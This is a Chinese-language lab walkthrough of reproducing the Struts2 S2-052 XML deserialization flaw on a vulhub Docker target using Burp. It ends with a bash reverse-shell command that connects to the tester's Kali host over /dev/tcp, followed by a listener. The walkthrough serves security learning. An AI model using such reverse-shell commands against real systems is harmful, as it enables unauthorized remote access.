Struts2-052復現，並反彈Shell

測試機:kali linux，win10
工具：burp
靶機:cenOS7
測試機IP:192.168.213.136
靶機IP:192.168.213.138
環境: docker

一. 環境搭建
docker搭建可以參考這位小姐姐的文章：
http://bbs.dark5.net/?thread-24.htm

將環境vulhub的環境git到本地

git clone https://github.com/vulhub/vulhub.git

clone後打開路徑

cd vulhub-master/struts2/s2-052/

執行命令

docker-compose up -d

第一次可能很慢，如果出現錯誤請更換鏡像源試試
我這裏已經成功了
查看ip打開，默認端口8080

打開192.168.213.138:8080

二. 漏洞復現

點擊編輯

打開Burp進行攔截
接着點擊Submit
數據包攔截下來後發送到repeter
由於rest-plugin會根據URI擴展名或Content-Type來判斷解析方法，所以我們需要修改Content-Type頭爲application/xml，即可在Body中傳遞XML數據。

所以進行修改後如下:

此處爲payload

命令不能直接寫到一個<sting></sting>中具體參考https://www.freebuf.com/vuls/147017.html

將IP修改爲kali的ip

bash -i >& /dev/tcp/192.168.213.136/8888 0>&1

用kali進行監聽
點擊Send
可以看見成功反彈shell了

小夥伴們，記得雙擊麼麼噠哦~
